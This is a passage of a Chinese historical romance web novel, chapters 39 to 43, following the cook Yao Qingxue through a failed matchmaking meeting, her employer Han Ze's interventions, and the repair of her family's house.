王娘子心道这是看上了,来时不耐烦,嫌人家门户低,这会看到人吃了人家的东西是彻底被征服了。虽然有些失礼,但与婚姻大事相比这不算什么。姚家没有男丁,她家姑娘能嫁给秀才已经是高攀了。她作为介绍人得给从中说和。“杜秀才这是对姚姑娘一见钟情了,这婚事成了。” “我还没应怎么就成了?”姚轻雪拉下脸来,“各位既然吃饱了那就请回吧。” 杜娘子一听不乐意了,她把筷子一撂,“你什么意思?对我儿有何不满?我儿宏展有功名在身,将来考举人中进士,那是要做大官的,娶你是看得起你。你都十八了还没嫁出去,我儿子肯要你是你的福气,别不识抬举。” 姚福和刘氏刚想怼回去,就听门外有人道:“他考不上举人更中不了进士。” 韩泽跨步进来,今日的韩大人身穿一身月白色翠竹暗纹长衫,一条黑色锦带束于腰间,衬得他宽肩窄腰、腰细腿长。再加上五官英俊,所有人眼前俱是一亮,一下子就把矮矬、腰如桶粗的杜秀才比下去了。刘氏都叹气,这咋个比哦? 姚轻雪眨眨眼,今日的韩泽让她想到一个词孔雀开屏。认识韩泽这么久从来没见他穿浅色衣服,每日不是官府就是黑色、青灰等深色衣服,不得不说白色衣服真打扮人。不过韩大人突然打扮,不会是和她一样去相亲吧? 韩泽气势凌人,他一进来屋里的气氛立马就变了。王娘子常年在街边卖豆腐,还是有几分眼色,她见韩泽衣着华贵、气度不凡,看着跟他们就不一样。她扯了扯杜娘子,小声道:“既然人家不愿,我们走吧。” 杜娘子哪里肯,通过这顿饭她也看出来了,姚家面上看着不怎样,但家底应该不薄,别的不说,就单是这座宅子也值个几千两。等两个老家伙一死,这些都是他们家的,至于小的,到了年纪嫁人他们家还能得一笔彩礼,没有比这再好的人家了。 不过杜娘子也有些惧韩泽,她一改刚才的蛮横,脸上堆起笑:“这位公子是哪位?可莫要胡说,我儿宏展是正儿八经的秀才,您乱说话坏了姻缘可是做下大孽了。” 韩泽瞟了她一眼:“杜宏展四年前中秀才,与周员外之女定下亲事,后来杜宏展不思进取,流连秦楼楚馆,被周家小厮看见。周家瞧着杜宏展没有大出息便退了亲。这之后你们相看过很多姑娘,好的看不上杜宏展,差的他又看不上人家。杜宏展读书花光家中所有积蓄,还欠了不少外债,你们打算怎么还债?是想用娶亲后娘子的嫁妆吗?” 老底被人揭了,杜宏展满面羞红,“你是何人?为何对我的事知道的这么清楚?” 韩泽:“这有何难,衙门里的朋友说的,我衙门里有人。” 姚轻雪:“……” 韩大人一脸嘲讽地看向杜宏展:“想靠女人吃饭,枉为读书人。” 杜宏展羞愧难当、拂袖而去,杜娘子和王娘子紧跟着走出姚家。 姚福和刘氏齐齐叹气,好不容易有个读书人上门,还 不是个好的。刘氏捅捅老头子,用眼神示意他看韩泽。 “大人您怎么来了?”姚轻雪问。 “给你送卤牛肉。”韩泽缓缓道,“我和曹叔要回韩府住几日,牛肉放家里会坏,便给你送来,你可在家多待几日。”突然上门总得有个借口,正好家里有卤牛肉。 实际上是曹叔回家说了杜秀才的事,他立马跑去杜秀才所属衙门查了他的底细。然后马不停蹄回家换上新衣服来到姚家。本以为来早了,进门一瞧那杜秀才已经吃饱喝足了。有宋筠珠玉在前,杜秀才这等货色,想来他家厨娘根本瞧不上眼,他今日有些多余了。 这时曹叔在外面喊:“姚家老哥,肉给你放哪里?” 姚福赶紧出门,刘氏抬起脚又堪堪落了回来。她看了一眼韩泽,安慰孙女:“人品不行即便是举人老爷咱也不能嫁,这个不成还有别家,你李婶子要介绍个小伙子,他愿意入赘咱家,你若不喜欢还有其他人。” 姚轻雪:“……”她奶这是准备了多少个相亲对象啊? 韩泽:“……”他能收回前言,现在就把人领走吗? “奶,过后再说。”姚轻雪很是尴尬,她奶这样让韩泽以为她多恨嫁呢。她把饭桌旁的凳子搬到一边:“大人请坐,待我把残余收拾干净再给您斟茶。” 那三个人是真能吃,除了那盘青菜,饺子和牛肉一点都没剩。芽芽撅着嘴跟姐姐一起收拾。 韩泽觉得他不宜久留,便道:“顺路过来的,我还有事,先走了。” 姚轻雪送人出门,韩泽上车前突然道:“粉涂得太厚,口脂跟吃了血似的。你好歹见过世面,别什么阿猫阿狗都往家里领。”说完他转身上车走了。 姚轻雪:“……” 第40章 第40章感谢 马车走出葫芦巷。 “少爷,姚家急着嫁女儿,保不齐哪天就有合适的人选。”曹叔的意思是你要是对人家有情,赶紧把人定下来,哪天姚厨娘跟别人定亲,后悔就来不及了。 韩泽道:“宋筠她都看不上,寻常人入不了她的眼。” 曹叔一想也是,姚家能接触到的相亲对象,怎么可能比宋公子和他家少爷更好?满京城也没几人比得了他家少爷的家世和能力。既然少爷心里有数他也不便多说。曹叔刚把心放下,就听韩泽突然问:“我与宋筠比如何?” 曹叔:“……自然是少爷更胜一筹。” 韩泽点点头,嘴角微微勾起。“回将军府吧。”陆大人给了他七日假养伤,既然姚轻雪回娘、咳,回家了,他便回将军府住两日吧,免得母亲总说他不着家。 姚轻雪把人送走后,特意回房照了照镜子,粉还可以不是很厚啊?嘴唇,口脂不红涂它干嘛?她觉得自己上妆后还挺好看,在铜镜前臭美了一会儿,才去堂屋。 饭桌已经收拾完了,芽芽正在擦桌子。姚轻雪捏捏妹妹软乎乎的脸蛋。“不生气了,韩大人给送来了卤牛肉,姐现在就去和面,咱们吃牛肉面,饺子明日再做。” 芽芽小小地“哼”了一声,脸上有了笑意。“我来帮你。” 姚福和刘氏在厨房看着半盆卤牛肉,姚福感叹:“这得花多少银子,韩大人就这么给咱们了?” “人家不是说了嘛,要回将军府吃不完才给咱的。”刘氏道。 姚轻雪进来一瞧,早上剩下的卤牛肉曹叔连盆都端了过来。“奶,这么多咱家吃不完,给赵婶子家送去些,还有那日帮忙送你们回来的摊主,爷你还记得都有谁吗?” “记得,都是老熟人。”姚福点头,“有今日来的王娘子的男人,还有卖烧饼的曲老爹……” “行,等会儿吃完饭我把牛肉分一分,然后再买点果子,爷爷您跟我去给每家送去。”人家帮忙把爷爷奶奶送回来,她这个做孙女的得出面感谢一下,不能连个表示都没有。 姚福:“是得谢谢人家,那日要不是有这些人拦着,我和你奶怕是伤得更重。” “午饭后就去,饺子一个没剩,咱吃点啥?”刘氏心疼被吃掉的饺子和牛肉,那老多牛肉她说分两次吃,大孙女不干,饺子馅里都没放多少菜,全是牛肉。本来打算好好吃上一顿,哪知来了那么不要脸的。小孙女嘴上都能挂油瓶了。“要不做个面汤,简单省时。” 姚轻雪已经拿了盆舀面,“我做面条,正好有卤牛肉,咱吃牛肉面,不比饺子差。” 又忙活了差不多半个时辰,四人终于吃上午饭,面条上摆了满满的卤牛肉,芽芽吃了一口终于笑了。 饭后刘氏收拾碗筷,姚轻雪把牛肉切成大小相等的块,姚福找来卖卤味用的油纸,把牛肉包好。姚福装进背篓里背着,刘氏留下来看家。姚轻雪跨上篮子领着芽芽和姚福一起出门。 姚福和刘氏卖卤味的地方还是他们以前卖包子的地儿,离家不远,路上姚轻雪买了桃子和苹果。那日帮忙把人送回家的,她都送了牛肉和果子,其他平时关系不错的,送了桃和苹果。姚轻雪好话不断,把众人都说得乐呵呵。 王娘子从姚家出来便过来换她男人回家歇晌,她不太好意思接姚轻雪的东西,“对不住,我没想到杜家那么上不得台面,原本看中他有功名,如今看这有功名也不见得都是好的。轻雪,别怪婶子,东西我就不要了。” “今日之事怪不得婶子,您拿着就是。”姚轻雪把东西塞到她怀里,“您是好意,我心里清楚。这牛肉是我雇主给的,他有事要外出几天,牛肉扔掉可惜就都给我送来了。婶子您也瞧见了,若不是他恰好过来送牛肉,咱们谁也不知道杜秀才竟是那种人。” “可不是嘛,我也是被那杜婆子给骗了。”王娘子应道,“今日多亏了那位公子,这东西我就厚着脸皮收下了。” 姚轻雪那位雇主看着就不一般,姚家能不得罪就不要得罪。至于杜家,本来就是八竿子打不着的亲戚,以后少走动就是。王娘子心里打着小算盘。 “牛肉我家也是难得吃上一次,今日借我那雇主的光,给叔伯婶子们也尝尝。”她得解释一下,不然旁人会以为姚家多有钱呢。 她的话大家都听到了,曲老爹笑道:“我们是借姑娘的光,我有好几年没吃牛肉了。” “唉吆,早知道那日我也去你们家瞧瞧,还能拿一份牛肉。”卖鸡蛋的李婆婆手里捧着果子开玩笑道。 “牛肉就那么点分不过来呀,婆婆不嫌弃就吃果子吧。哪天您得闲就去我家,我给您另做好吃的。”姚轻雪又往她怀里塞了两个桃子。乐得李婆婆直说:“好!” 等他们离开,李婆婆道:“姚家大孙女大方得体,说话做事样样拿得出手,还有一手好厨艺,谁家娶了这姑娘进门,且等着发家吧,可惜老婆子我家里没有合适的儿郎。” 卖馄饨的李娘子道:“可不,我孙子都五岁了,小儿子才十三不合适,不然早把人定下了,多能干的姑娘,我看着就喜欢。” 曲长平看着牛肉和果子发呆,娘身子不适,他今日过来帮爹卖烧饼。姚家的事他听爹娘讲过,那日送姚家二老回家的就有他爹,所以今日他们也得了一份牛肉。 刚刚王娘子讲了杜家的笑话。今日他第一次见姚家大姑娘,若如王娘子所说,那杜秀才就是个道貌岸然的伪君子,哪里配得上姚姑娘。 “大郎,可是累了?”曲老爹见儿子发呆,“你回家温书吧,晌午过了, 人没那么多,爹一个人忙得过来。你把牛肉和果子带回去给你娘和妹妹吃。“曲长平心事重重地拎着东西走了。 李娘子道:“曲老爹也是好福气,儿子孝顺,等过几年长平考上秀才,曲老爹你就等着享福吧。” 曲老爹笑呵呵道:“借你吉言。”他卖烧饼供儿子读书,是想他将来有个好前程,儿子争气,十五岁已经是童生了。能考中秀才再好不过。 送完东西,姚轻雪和爷爷妹妹顺便买了菜和肉,街边的各种果子也都买了几样。 芽芽蹦蹦跳跳在前面拿着一小串葡萄吃,时不时回头给爷爷和姐姐嘴里塞一个。姚福乐得眼睛眯成一条缝。“芽芽自己吃,爷爷牙口不好,不能吃酸的。” “不算啊,很甜,是不是姐?”芽芽又往姚轻雪嘴里送了一颗。 “嗯,甜。”姚轻雪点头,“爷,喜欢吃就吃,别总想着省,您就俩孙女不用攒银子,今后您和奶想吃什么买什么。” “那可不中,我得为孙女们攒嫁妆。”姚福不赞同,“我头上的伤没事了,在家闲着浑身难受,后日便把卤肉摊子支起来,耽搁一天少赚不少呢。” 姚轻雪:“您和奶以后别出摊了,在家养老吧,银子我来赚。” 说着话三人到家了,姚轻雪捡了几样果子交给刘氏,让她与牛肉一起送到赵氏家中。那日街坊大多在看热闹,只有赵氏忙里忙外帮忙照顾受伤的姚福和刘氏。 等刘氏送了东西回来,姚福跟她念叨:“大孙女不让咱们出摊,你觉着行?” “那不行。”刘氏头摇成拨浪鼓,“包子不赚钱都卖了那么多年,现在有赚钱的营生哪能不卖?卖,我和你爷身子骨都硬朗,你别操这个心。我去问问李娘子,她说的那个要入赘的男人什么情况。” “奶!”姚轻雪赶紧把人拉住,“入赘的都是没本事的,我不要。” 刘氏:“那我去问钱娘子,她娘家侄子跟你年岁差不多。” “奶呀,上赶子不是买卖,您可别去问,您孙女还没到嫁不出的地步,往后再要相看哪个,您得提前跟我说,我同意了您才能把人往家领。” 刘氏讪道:“我也没想到会是这个样子,还是秀才呢,一点没有读书人的德行。” “即便杜秀才是好的,就他娘那个样子,那种人家也不能进,不然有吃不完的苦。”姚轻雪道。 “行,以后相看人家跟你说就是,但摊还得出。”对于出摊赚钱这事,刘氏不让步。 “您屋里锁着那么多绫罗绸缎,还有十个金元宝,您还出摊做什么啊?干嘛非要吃那个苦?” “那些东西我一样没动,绫罗绸缎咱家这身份穿身上太打眼,遭人惦记,留着给你当嫁妆。金子是你得来的,全给你当嫁妆,以后赚的钱给芽芽攒,你俩没有兄弟撑腰,有银子傍身,将来才不会被男人和婆家欺负。” “奶,我不嫁人,不要嫁妆,等我长大了像姐姐一样赚钱,给爷爷奶奶养老。”芽芽抱着一个大桃子,啃得满嘴水渍。 “唉吆,可不行说这话,姑娘哪能不嫁人。”刘氏既欣慰又心疼,她家俩孙女比不得别家孩子有爹有娘,两个孩子得靠他们操持,不能歇啊。 姚轻雪心想芽芽有她娘给的一万两,比您那十个金元宝多了十倍,但这事不能说。无论姚轻雪怎么劝,姚福和刘氏都不肯歇着。拿他们两个没办法,只好随他们去。 原本打算第二天开始备料,后日便能出摊。哪料天不遂人愿,次日清早下起了小雨,午后雨越来越大。 一家人在堂屋吃果子,看门外雨打地面。芽芽突然转头:“姐,雨下到屋里来了。”【你现在阅读的是 】 40-50 第41章 第41章雪压青松 姚轻雪看见一滴水珠顺着芽芽的额头、鼻尖滚下来,然后又有一滴落到芽芽脸上。几人抬头,就见屋顶湿了一片。 刘氏大叫:“哎呀,怎么又漏了?”她赶紧把装果子的盆倒出来去接水。 姚福披着蓑衣把几个屋子看了一遍,他和老婆子的卧房也漏水了。“等天晴我上去补补,秋天雨水多,比这大的雨指不定还有多少呢。” 姚轻雪:“爷爷,要不花银子把屋顶都修了吧,总是哪漏补哪儿不是办法。”她家这房子其实早该修了,苦于没银子才一直将就着。 “等我上去看看再说。”彻底修一次得不少银子,姚福有些舍不得。 原本今日想来接人的韩泽见下雨了,便没急着从将军府回家。姚家总不至于雨天还找人上门相看。母亲还跟他别别扭扭,他得在家住两日。 韩将军看着满脸不高兴的妻子道:“孩子为何不去军中而是去了大理寺,你心里难道不清楚?” 韩家乃开国元勋、获镇远大将军封号、世袭罔替,以前韩家的家规男儿均要习武,十五岁便要去军中历练,长大都要去守卫边疆。韩家在军中很有威望,韩振的父亲韩元洲曾无令急调十万军队。有些人拿此事做文章,从那开始先帝便对韩家有了猜忌。 韩元洲共兄弟三人,另外两个未来得及成家便战死沙场,韩元洲也有俩儿子,另一个也死在了边疆,只留下韩振一棵独苗。 功高盖主早晚是祸,为了保住韩家血脉,韩元洲便以伤病为由主动交了兵权。韩振随父回京,一直没领职也没有再去边疆。先帝去驾崩后,新帝继位想让韩振复出领兵,被他拒绝了。如今大卫天下太平,边关也无大的战事,并不需要他出头。 于是韩振一直闲散在家,做逍遥将军,韩家从来不参与朝堂上的党派纷争。韩泽受父亲和祖父影响,并未参军而是选择在大理寺任职。韩浩是庶子去哪里都无所谓。老三韩漳干脆连武都不练,书读得也不怎么样。 韩家的原则是不参与党争,不参与皇子争位,只做纯臣。韩家地位够高,影响力也还在,若是联姻对象权力过大,保不齐皇帝心里又犯什么嘀咕。 这些年的闲散生活让韩振明白一个道理,英雄好汉命不长。国不是他韩家的国,离了韩家儿郎大卫一样四海升平。韩家为大卫做的已经够多,何必为了所谓的忠良把儿孙的命都搭上? 当年他若是没有随父亲回京,运气差点他这几个孩子都没有机会出生。身为父亲只求孩子们平平安安,哪怕愚鲁一点也没有关系。 韩泽身为镇远将军嫡子,将来必定要继承爵位,所以他既要能干,为陛下所用,但也不能太过出色。 “别说是他不愿意,即便他自己喜欢,宁王家的郡主都不要考虑。”韩振朗声道,“我觉着那厨娘挺好,儿子说他破了北齐细作的案子,是那姑娘的功劳,娶了她你儿子官做得安生,韩家的地位也稳固。” 韩夫人叹气:“我哪能不知道,我也不是非要他娶谁,但你瞧瞧你儿子,他非要跟我对着干,他就不能求求我?哄哄我?我是他娘!我辛辛苦苦养大的儿子,为了外人跟他娘对着干,你说这像话吗?我难道就好受?你看看老二多听芸娘的话。” 韩将军心道你就是闲的:“要不我再娶几房回来给你解闷?” 韩夫人:“……”她拿起桌上的梨子掷了过去。 韩振抬手接住“咔嚓”咬了一口,“没事多出去喝喝茶打打牌,别总瞎捉摸,他就那性子,再怎样都是你儿子。”说完韩将军迈着四方步走了。 “爹!出去啊。”韩莺与她爹擦肩而过,蹦蹦跳跳地进来。 “嘭!”韩夫人一拍桌子,“瞧你像什么样子,你哥说的对,你老大不小了,不能再由着你的性子来,从明日开始给我老老实实学规矩。日后言行举止若有出格,就去给我跪祠堂。” 韩莺傻眼,她什么都没干啊,娘为什么对她发脾气?都怪大哥娘才骂她,韩莺想去找大哥诉苦,可大哥那有客人。 杜淳和先去了太平巷,敲了半天门没人应,他就来了将军府。他与韩泽从小一起玩, 来韩家不是一次两次了。 “韩兄觉得如何?”杜淳和笑眯眯地看向韩泽。 韩泽两手抻着画轴,嘴角微翘:“画技见长,还不错。” 画上一株青松蒙着一层白雪,青松傲然挺立,轻雪枝头轻摇,细雪随风飘落,好一幅冬日美景,好一幅雪压青松。 “润青兄台!”杜淳和调侃:“是画不错?还是意更好?” “都好!”韩泽将画小心收起来,此画甚合他意。“你怎么有空跑我这来,不当差了?”杜淳和在户部任主事,户部向来事多,他这种文官,雨天又不耽搁办公。 “过来躲个清闲。”杜淳和低声道:“有人状告严州知府贪污,上头正在争论不休,我不便参与便躲了出来。” “严州知府阚永明?” “对,就是他。”杜淳和点头,“若是皇上下令彻查,这差事不知道会落到大理寺还是刑部?不过我觉得一时半会儿定不了。阚永明的岳丈是宁王妃的叔父,他和宁王也算连襟。” 韩泽皱起眉头:“刑部侍郎的姑姑曾是宁王乳娘。”大理寺查案最怕这种错综复杂的关系,有人从中作梗便举步维艰,权势越大越难办。 “没错,我觉着这个差事费力不讨好,多半会落到大理寺头上。” 空穴不来风,哪个当官的身家清白?尤其是在地方为官,贪银子比在京城更方便,既然有人提告,那多半贪污确有其事,而且数目不会小,一旦坐实就是抄家砍头的大罪。 韩泽身后是镇远将军府,即便是宁王也要给几分面子,杜淳和觉得此事多半会落到韩泽头上。今日他不单单是来送画,也是提个醒,若是不想参与赶紧想办法。 “你这伤也好太快了,两只胳膊都让人扎了窟窿,这才几日就能动了,好的慢点陛下怜惜,兴许就不让你去了。”杜淳和笑眯眯地看着好友。 “食君之禄、忠君之事。”韩泽摇头,“陛下待我不薄,况且要查也不见得是近期查,我总不能一直伤着。”他知道杜淳和想让他装伤到底,但他做不了欺瞒之事。 “随你。”杜淳和待了两刻钟便走了。 …… 这场大雨下了两日,姚家屋里也跟着下了两天小雨。雨在第三天早上停的,雨停后姚福找来梯子就要上房,老头觉得他啥都能干。姚轻雪哪里敢让他爬高。不小心摔下来那就完了。 她想雇人来修,但又怕自己出去的空挡,姚福不听话再上去,姚轻雪只好自己顺着梯子爬上房顶。等到了上头她腿抖得不行,额上汗都下来了。 房顶有几块瓦片碎了,雨水就是顺着碎瓦流进屋里的。按照屋里漏水的位置,屋脊背面应该也有破损,但姚轻雪不敢爬过去。她在上面喊:“爷,瓦碎了,得换。” “行,下来吧,爷一会儿就去买瓦。”姚福在下面扶着梯子。 姚轻雪心道买什么瓦,等她下去了立马去请人把房顶的瓦全换了,好的瓦片也挺不了几年,还不如一次到位,全给它换了。屋里墙面再补些泥浆,冬天住着也暖和。 可是上来容易下去难,她腿试探了半天就是找不准梯子的位置,她还不敢回头。下面三口人乱指挥,他说“左”、她说“右”,姚轻雪都不知道该听谁的。 韩泽在院外就看见他家厨娘像个**似的,撅着屁股趴在房顶还耷拉着一条腿,样子极其可笑,但他没敢出声。 姚家三口注意力全在房顶下不来的姚轻雪身上,都没注意韩泽进院。等发现时,韩泽比了个噤声的手势。三人都不敢说话了。 韩泽把衣摆系了起来,沿梯子爬上屋檐,抓住姚轻雪的腿,让她的脚落到梯子上:“别怕。” 姚轻雪以为他爷上来了,刚要说话就听见熟悉的声音,知道是韩泽她舒了口气。随着韩泽的牵引,两脚终于落到了实处。 等下了梯子,姚轻雪腿都直不起来了。刘氏指着姚福鼻子训:“叫你请人你不去,孙女要是有个好歹我跟你没完。” 姚福老脸通红,“以前都是我上去,不是也没事嘛。” 韩泽道:“以前您老身子骨强健,现在腿脚不如以前利索了吧。” “对对,韩大人说的对,得服老了,多谢您帮忙。”姚福拱手道谢。 韩泽伸手到姚福手下把人扶起,“举手之劳,您不必客气。” 姚轻雪坐在一边的凳子上大口喘气,等心没那么慌了,才跟姚福道:“爷爷,好多块瓦都碎了,好的瓦也不顶用了,我的意思是全换了,好好弄一弄省得总漏雨,冬天也暖和。” “好。”姚福立马点头,孙女吓得脸都白了,他还敢说什么。 姚家破旧的小院和周围宅院格格不入,是该好好修缮一番。韩泽道:“我正好认识这方面的人,不如请他们过来?” 第42章 第42章几天没吃她做的饭了…… “那便麻烦大人了。”姚轻雪想都没想就答应了。韩泽做事稳妥,他找的人必然也靠得住。 刘氏作揖:“麻烦大人了!” “举手之劳,谈不上麻烦。”说完韩泽走出姚家。一个时辰后他带着三人回来,其中一人是大理寺的杜七。 两名瓦匠进院后,一人爬上屋顶,一人屋里院外查看需要修补之处。 “我请了工部的人过来,他们手艺要比街边泥水匠强很多,所需物料也从工部购买,质量有保障。”韩泽对姚轻雪道,“另外你不懂泥水工程,这几天杜七会抽空过来,有事你与他说即可。” 姚轻雪连连道谢,对韩泽甚是感激,有大理寺的人在,她求之不得,也不怕工匠们糊弄。杜七也乐意过来,请人做活必定要准备午膳,姚厨娘的手艺他还想再尝一尝。 说话间两位瓦匠查看完毕,一人对韩泽拱手:“大人,所谓屋老气退,宅子隔个十几年就要修一修,但这所宅子许久不曾修缮,很多地方都不顶用了。房梁有蛀虫,房上瓦片全都得换,另外屋子的墙也需要加固,里面抹上泥浆,夏日防潮冬日保暖。” 屋子外墙是砖砌的,除了个别地方磕碰缺角,并不需要大面积修理,但屋里因为常住人,磕碰损伤较大,有的地方已经露砖了。 “好。”韩泽点头,“费用大概多少?” “这得看打算用什么料,普通琉璃瓦加上墙面修缮五十两足够,若是用好一些的瓦最少也得一百两。” 这么贵,刘氏倒吸一口冷气,姚福听得心惊肉跳,要不他怎么不想找人来修呢,修不起啊。他打听过他家这房子光换瓦十几两够了,这个怎么这么贵啊?但人是韩泽找来的,姚福也不敢问。 老头脸上苦巴巴的,瓦匠似乎看出他心疼银子,便道:“老人家,所用物料均从工部购买,工部的东西就没有差的。用好料再加上我们的手艺,您这房子能住三十年不用大修。一次把钱花到位,之后几十年都不用操心,您说值不值?这还是韩大人的面子,不然一百两绝对下不来。” “修,用好料。”姚轻雪拍板,要不是有韩泽,谁能请得来工部的人?人家可是有修皇宫的手艺。 瓦匠看看姚轻雪,又去看韩泽,心道这家难道是姑娘做主? 韩泽:“听她的。” 还真是,瓦匠笑道:“姑娘远虑,有韩大人的面子,我们不敢从中谋利,只赚每日工钱,一百两绝对算少的。” “那便劳烦两位了。”姚轻雪颔首道谢。 韩泽指了指有几处豁口的院墙:“顺便把院墙也补补。” “韩大人放心,需要修缮之处我们自会尽力。”瓦匠拱手,“我这就丈量尺寸,明日便把需要的东西全都带过来,若是天公作美,三日便能将这院子焕然一新。” 两人去丈量尺寸,姚轻雪小声问什么时候给银子合适。 “就现在吧,工部的人差不了。”韩泽道。 瓦匠量好尺寸,从刘氏手里接过一个金元宝。那人翻过底面一看,竟然有宫印。瓦匠心中纳闷这姚家什么底细?竟然有御赐的金子?还有院墙上晒太阳的猫,少说也值个百八十两。这姚家深藏不漏啊,瓦匠心里对姚家这活上了十二分的心。 两名瓦匠带着一定金子离开。韩泽对一脸肉疼的姚家二老道:“工部有专门烧制琉璃瓦的窑厂,所出琉璃瓦绝非市面上十几文钱一块可比,若按正常售价这房子光换瓦就不止百两。” 姚福不好意思地说道:“是小老儿眼皮子浅,让韩大人看笑话了。这房子能够修缮还是托了您的福,要不是您给送来皇上的 赏赐,就是将我这把老骨头卖了也不够修房子,我给您道谢了。” 姚福深深一个鞠躬,韩泽伸手把人扶起。“您客气了,陛下赏赐是您孙女应得的。” “老爷子,您好福气啊,孙女能干得了陛下赏,要是换做是我也没钱修宅子。现在又有我们大人帮忙,您就把心放进肚子里,等着住好房子吧。”杜七善谈,几句话便让姚福心情大好。 “您说的对。”他这辈子最大的幸运就是捡回大孙女。雪儿比一般儿郎都要强,比亲生的都孝顺。这么一想姚福瞬间释然,这么好的孩子在身边,他心疼银子做什么。 韩泽原本想带人回家做饭,几天没吃她做的饭了,但姚家修房子,他也不好这个时候把人带走。况且有些事姚轻雪得做主。姚福大事拿不定主意,还得她这个孙女。 “大人,您回太平巷了吗?” 韩泽点头。姚轻雪了然,虽然还没来得及问,但韩泽肯定不会是遛弯遛到她家来的,多半是已经回了太平巷,来姚家无疑是想让她这个厨娘尽本分。 今日还早,回去给他做顿饭来得及,顺便把明日的也带出来。“我现在回去做饭,晚上再回来,这两天我想在家守着,您看可行?” “行。”有什么不行的,本以为今日吃不上了,姚轻雪肯折腾已经很好了。 刘氏心里一阵叹气,本来想等韩大人伤好,让孙女辞工回家,现在她家欠韩泽这么大人情。孙女一时半儿离不了韩家。这俩人总见面,孙女咋还能看上别人哦? 姚轻雪不知奶奶心里的愁,她正要跟韩泽走,见芽芽抱着小白巴巴地看着自己,她招招手:“跟姐去吧,晚上我们一起回来。” “好!”芽芽放下小白,高兴地跑去牵姐姐的手。两大一小走出院门。刘氏在后面喊:“小白,回来。”小白理都不理,“嗖”地一下蹿到三人前面。 猫想跑,人哪里逮得住,“奶,让它跟我们去吧。”姚轻雪道。 小白似乎听懂了,不跑了,在前面蹲着等人。韩泽觉得神奇:“它听得懂人话?” “小白可聪明了。”芽芽一脸骄傲地跑到前面把小白抱起来。小白在姚家的伙食好,比家里的人都胖,芽芽抱一会儿还行,时间长了她就抱不动了,何况还要走路。 姚轻雪眼珠子一转,把大白猫放到韩泽肩上。“韩大人,小白可喜欢你了,快跟它亲近亲近。” 韩泽转头与一张猫脸对上,小白拿头去蹭他的脸颊。第一次这么亲密接触毛茸茸的小东西,韩泽心里也变得柔软。抬手摸了摸小白的脑袋。姚轻雪与芽芽对视一眼,两人捂嘴偷笑。 三人顺路买了菜,买完菜回到太平巷。曹叔正在收拾院子,大雨过后院里淤了不少泥,得清理一下。 “回来了!”见他们回来,曹叔高兴,“芽芽也来了。” 芽芽礼貌地打招呼:“曹叔好!”上次她来韩家见过曹叔,上次不熟,这次再见便比上次自然多了。 “咦?牛肉干没有淋雨?”姚轻雪看着院中已经半干的牛肉干疑惑。前几日下雨她被困在葫芦巷,韩泽和曹叔回了将军府,牛肉干晾在院里,她以为全完了呢。 曹叔笑道:“辛苦做的,哪能糟践了。” “曹叔冒雨回来拿去灶房烘,不然早坏了。”韩泽掰了块牛肉干丢尽嘴里,这东西刚进嘴干巴巴的,嚼一嚼还挺香。 “多亏有曹叔。我本来想回来的,但家里没人,我进不来院门,还心疼了好一阵呢。”姚轻雪掰了一块牛肉干放进嘴里。没干透,还得再晾几日,她拿了一块给芽芽,让她啃着玩。 “喵……”小白闻着肉味儿喵喵叫。韩泽撕下来几条喂给它。 姚轻雪拎着菜走进灶房收拾鱼,买菜时韩泽非要吃香辣鱼,明明有伤还不忌口,这也就是主子,不然姚轻雪非得训他。那么大的人了在吃上跟小孩子似的。 芽芽给姐姐打下手,一个时辰后香辣鱼、烧排骨、四喜丸子、炸藕合、炸虾球、炸酥肉、凉拌藕片,蟹黄豆腐羹便做好了。 这顿饭异常丰盛,曹叔高兴地拿出酒准备喝两杯,他这几天就没正经吃过饭。少爷在将军府吃的也不好,不然也不会雨一停就巴巴地回来接人。 “曹叔,菜我多做了些,明早您热一热就能吃。”姚轻雪道。 “你还走?” “家里要修房子,我得在家待几天。”姚轻雪挑了几样小白能吃的给它放到一边。 “修房子是大事。”曹叔喝了口酒,“用曹叔帮忙不?” “不用曹叔,韩大人找了杜七。” 三人在灶房边吃边聊,韩泽在堂屋则半天没动筷子,心里莫名有股孤独感。这想法把他自己都吓了一跳,很久以前他就常一个人吃饭,怎么突然会有这种感觉? 这时门外传来姚轻雪的大笑,那三个人也不知道说什么这么开心。韩泽叹口气拿起筷子。吃完饭曹叔溜溜达达把姐俩送回家。 次日一早几两马车拉着崭新的琉璃瓦来到葫芦巷。除了昨日那两位瓦匠,还有八个人。要在三日内完工,人必定不能少。 这么多人午饭是个大问题,得吃饱吃好才有力气干活。 第43章 第43章“咳咳,伤好了。”…… 姚福背回猪肉时,瓦匠们并未在意。猪肉有股腥味,有钱人只吃羊肉,穷人家没得选。姚家肯花银子买肉已经算好的,饿不着就行,左右不过三天。 当诱人的香味从灶房里飘出来,房顶上揭瓦的几人频频往下看,这到底是怎么做的才能把猪肉做得这么香?想到姚轻雪在大理寺少卿家做厨娘,大家对午膳都有了些期待。 灶房里,两口大锅“咕嘟咕嘟”冒着泡,姚轻雪让芽芽添柴烧大火,芽芽这个灶膛加几根木柴,再往另一个灶膛里添柴。没一会儿锅里的汤汁便收干了。 刘氏招呼:“开饭了!”房上的人麻溜地下来,洗手洗脸到屋檐下坐好。 第一日午膳主菜是酱肘子和把子肉,把子肉里放了煎豆腐、豇豆角、小青菜。另外还有解腻的凉拌青瓜和蛋汤。十个人吃的头都不抬,杜七来晚了些差点没吃着。下午瓦匠们干活特别卖力。紧一日屋顶的瓦片全部撤下,改换的地方换了,该补的地方也补了。 第二日杜七早早过来,应他要求,午膳姚轻雪做了香辣鱼。不知是不是香味飘到太平巷,他们这刚把鱼端上桌,韩泽就到了。杜七调侃上司:“大人,您是不是闻着味儿了?” “我又不是猫。”韩泽笑道,“各位辛苦了,等完工后让杜七请大家去喝酒。” 瓦匠们眉开眼笑、连连道谢。姚家做饭实在好吃,韩大人也大方,这趟活做的舒心。 姚轻雪估摸着韩泽不一定吃午饭,便道:“大人若是不嫌弃就进来吃口。” “好!”韩泽跨步进屋。 工匠们你看看我,我看看你,心说这韩大人可真没有架子。将军府什么好菜没有?还来跟他们吃大锅饭。不过这大锅饭也是绝了,韩大人想吃也不奇怪。 众人顾不上韩泽都低头吃,鱼肉刺多,可得小心着点。还有红烧肉,肥而不腻、香甜松软。猪肉竟然能做得如此好吃,也是让他们开眼了。 杜七边吃边说:“怎么样?这趟活不白来吧?把猪肉做这么好吃,姚厨娘是头一份。也就是她家修房子,不然你们可吃不到姚厨娘的手艺,我更吃不到。” 有人笑道:“我还当 杜七兄弟是来监工,原来是蹭饭啊。” 